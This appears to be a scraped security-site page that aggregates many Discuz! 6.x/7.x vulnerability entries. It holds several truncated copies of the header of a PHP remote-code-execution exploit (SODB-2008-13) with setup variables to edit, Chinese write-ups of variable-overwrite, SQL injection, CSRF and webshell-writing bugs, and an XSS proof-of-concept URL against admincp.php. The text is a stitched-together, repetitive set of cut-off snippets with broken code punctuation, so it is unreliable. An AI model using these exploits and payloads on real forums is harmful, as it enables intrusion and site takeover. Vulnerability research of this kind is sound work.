Discuz! 6. x/7. x SODB-2 0 0 8-1 3 Exp-vulnerability warning-the black bar safety net

!/ usr/bin/php ? php / Discuz! 6. x/7. x SODB-2 0 0 8-1 3 Exp By www.80vul.com Notes the value of the variable, add your own modifications / $host = 'www.80vul.com'; // Server domain or IP $path = '/discuz/'; // Where the program path $key = 0; // The above variable is edited, make will the value...

Discuz! 6.x/7.x SODB-2008-13 Exp

No description provided by source. !/usr/bin/php ?php / Discuz! 6.x/7.x SODB-2008-13 Exp By www.80vul.com 文件中注释的变量值请自行修改 / $host = 'www.80vul.com'; // 服务器域名或IP $path = '/discuz/'; // 程序所在的路径 $key = 0; // 上面的变量编辑好后，请将此处的值改为1 if strpos$host, '://' !== false || strpos$path, '/' === false || $key !==...

Discuz! 6.x7.x - Remote Code Execution

Discuz! 6.x7.x - Remote Code Execution !/usr/bin/php ?php / Discuz! 6.x/7.x SODB-2008-13 Exp By www.80vul.com 文件中注释的变量值请自行修改 / $host = 'www.80vul.com'; // 服务器域名或IP $path = '/discuz/'; // 程序所在的路径 $key = 0; //...

Discuz! 6.x/7.x Remote Code Execution Exploit

Exploit for unknown platform in category web applications ============================================= Discuz! 6.x/7.x Remote Code Execution Exploit ============================================= !/usr/bin/php ?php / Discuz! 6.x/7.x SODB-2008-13 Exp / $host = 'www.80vul.com'; // ??????IP $path =...

discuz-exec.txt

!/usr/bin/php \n别告诉我你不会用 -,-\n"; else exit"嗯,大概是该网站不存在漏洞,换一个吧 -,-\n"; fun...

Discuz! 6.x/7.x Remote Code Execution Exploit

No description provided by source. !/usr/bin/php ?php / Discuz! 6.x/7.x SODB-2008-13 Exp By www.80vul.com 文件中注释的变量值请自行修改 / $host = 'www.80vul.com'; // 服务器域名或IP $path = '/discuz/'; // 程序所在的路径 $key = 0; //...

Discuz! 6.x/7.x - Remote Code Execution

!/usr/bin/php ?php / Discuz! 6.x/7.x SODB-2008-13 Exp By www.80vul.com 文件中注释的变量值请自行修改 / $host = 'www.80vul.com'; // 服务器域名或IP $path = '/discuz/'; // 程序所在的路径 $key = 0; // 上面的变量编辑好后，请将此处的值改为1 if strpos$host,...

Discuz! $_DCACHE数组变量覆盖漏洞

由于Discuz! 的wap\index.php调用Chinese类里Convert方法在处理post数据时不当忽视对数组的处理,可使数组被覆盖为NULL.当覆盖$DCACHE时导致导致xss sql注射 代码执行等众多严重的安全问题.br / br / 一 分析br / /wap/index.phpbr / //43行br /pre$chs = ''; if$POST && $charset != 'utf-8' $chs = new Chinese'UTF-8', $charset; foreach$POST as $key = $value $$key =...

Discuz! 路径信息泄露漏洞

目录\ucclient\data\cache,\forumdata\cache等下面的文件里对如:br / br / $CACHE'settings' = array br / 'accessemail' = '',br / 'censoremail' = '',br / 'censorusername' = '',br / 'dateformat' = 'y-n-j',br / 'doublee' = '1',br / 'nextnotetime' = '0',br / 'timeoffset' = '28800',br / ;br / br / br /...

Discuz! member.php xss漏洞

member.php代码: if!empty$listgid && $listgid == intval$GET'listgid' //这里用的等于==而不是全等===进行的比较,且$listgid并没有初始化: $type = $adminid == 1 ? 'grouplist' : $type; else $listgid = ''; ... $multipage = multi$num, $memberperpage, $page,...

Discuz! admincp.php xss bug

漏洞存在于文件admin/login.inc.php里$urlforward没有被过滤导致xss漏洞: input type="hidden" name="urlforward" value="$urlforward" 2008-02 www.Discuz.net http://127.0.0.1/discuz/admincp.php?urlforward=%22%3E%3Cscript%3Ealert/xss/%3C/script%3E 管理员或版主前台登录,但未登录后台时触发...

Discuz! moderation.inc.php 数据库'注射'漏洞

在文件include/moderation.inc.php里代码: $threadlist = $loglist = array; if$tids = implodeids$moderate $query = $db-query"SELECT FROM $tableprethreads WHERE tid IN $tids AND fid='$fid' AND displayorder='0' AND digest='0' LIMIT $tpp"; while$thread = $db-fetcharray$query ... $threadlist$thread'tid' =...

Discuz!4.x wap\index.php 变量覆盖漏洞

Discuz!4.x一直存在着一个变量覆盖漏洞n年了.代码如下: $chs = ''; if$POST && $charset != 'utf-8' $chs = new Chinese'UTF-8', $charset; foreach$POST as $key = $value $$key = $chs-Convert$value; //foreach处理$POST导致变量覆盖 unset$chs;...

Discuz! flash csrf vul

Discuz!的安全人员已经意识到csrf方面的漏洞了采用了formhash及判断Referer等来防止外部提交,如果看过Bypass Preventing CSRF1一文的朋友应该意识到我们可以通过flash来进行csrf攻击. 首先我们看Discuz!6开始自带了crossdomain.xml文件,代码如下: ?xml version="1.0"? cross-domain-policy allow-access-from domain="" / /cross-domain-policy 允许容易域的访问,对于Discuz!的formhash我们可以通过as来处理得到如下代码:...

Discuz! admin\runwizard.inc.php get-webshell bug

由于Discuz!的admin\runwizard.inc.php里saverunwizardhistory写文件操作没有限制导致执行代码漏洞. 在文件admin\runwizard.inc.php里代码: $runwizardhistory = array; $runwizardfile = DISCUZROOT.'./forumdata/logs/runwizardlog.php'; if$fp = @fopen$runwizardfile, 'r' $runwizardhistory = @unserializefread$fp, 99999; fclose$fp;...

Discuz! modcp/moderate.inc.php 数据库注射漏洞

在文件modcp\moderate.inc.php里代码: requireonce DISCUZROOT.'./include/discuzcode.func.php'; requireonce DISCUZROOT.'./include/attachment.func.php'; $ppp = 10; $page = max1, intval$page; $startlimit = $page - 1 $ppp; $modcount = $db-resultfirst"SELECT COUNT FROM $tablepreposts WHERE invisible='$pstat' A...

Discuz! trade.php 数据库'注射'漏洞

文件trade.php: $message = trim$message; if$message $message = daddslashes$tradelog'message', 1."\t\t\t".$discuzuid."\t".$discuzuser."\t".$timestamp."\t".nl2brstriptagssubstr$message, 0, 200; //$message用substr处理了下,取前200个字符 else $message = daddslashes$tradelog'message', 1; $db-query"UPDATE...

Discuz!cache.func.php 信息泄漏

漏洞存在于文件\include\cache.func.php里的代码如下: define'DISCUZKERNELVERSION', '6.1.0'; define'DISCUZKERNELRELEASE', '20080418'; ifisset$GET'kernelversion' exit'Crossday Discuz! Boardbr /Developed by Comsenz Inc.br /br /Version: '.DISCUZKERNELVERSION.'br /Release: '.DISCUZKERNELRELEASE;...

Discuz! 数据库错误信息xss bug

在文件include\dbmysqlerror.inc.php里代码: if$message $errmsg = "bDiscuz! info/b: $message\n\n"; ifisset$GLOBALS'DSESSION''discuzuser' $errmsg .= "bUser/b: ".htmlspecialchars$GLOBALS'DSESSION''discuzuser'."\n"; $errmsg .= "bTime/b: ".gmdate"Y-n-j g:ia", $timestamp + $GLOBALS'timeoffset' 3600."\n"; $errm...

Discuz!/phpwind flash标签的xss

flash标签的xss在以前的是很流行的,以前只要随便一个调用外面的一个swf就ok了,现在的则都不可以直接使用调用外码的swf了,这个是因为一般都设置了allowScriptAccess12.比如dz的codz: dz60904\upload\forumdata\cache\cachebbcodes.php 同样出现在cacheviewthread.php cachepost.php cacheblog.php里 00017: 0 = 'marquee width="90%" behavior="alternate" scrollamount="3"\1/marquee', 00018...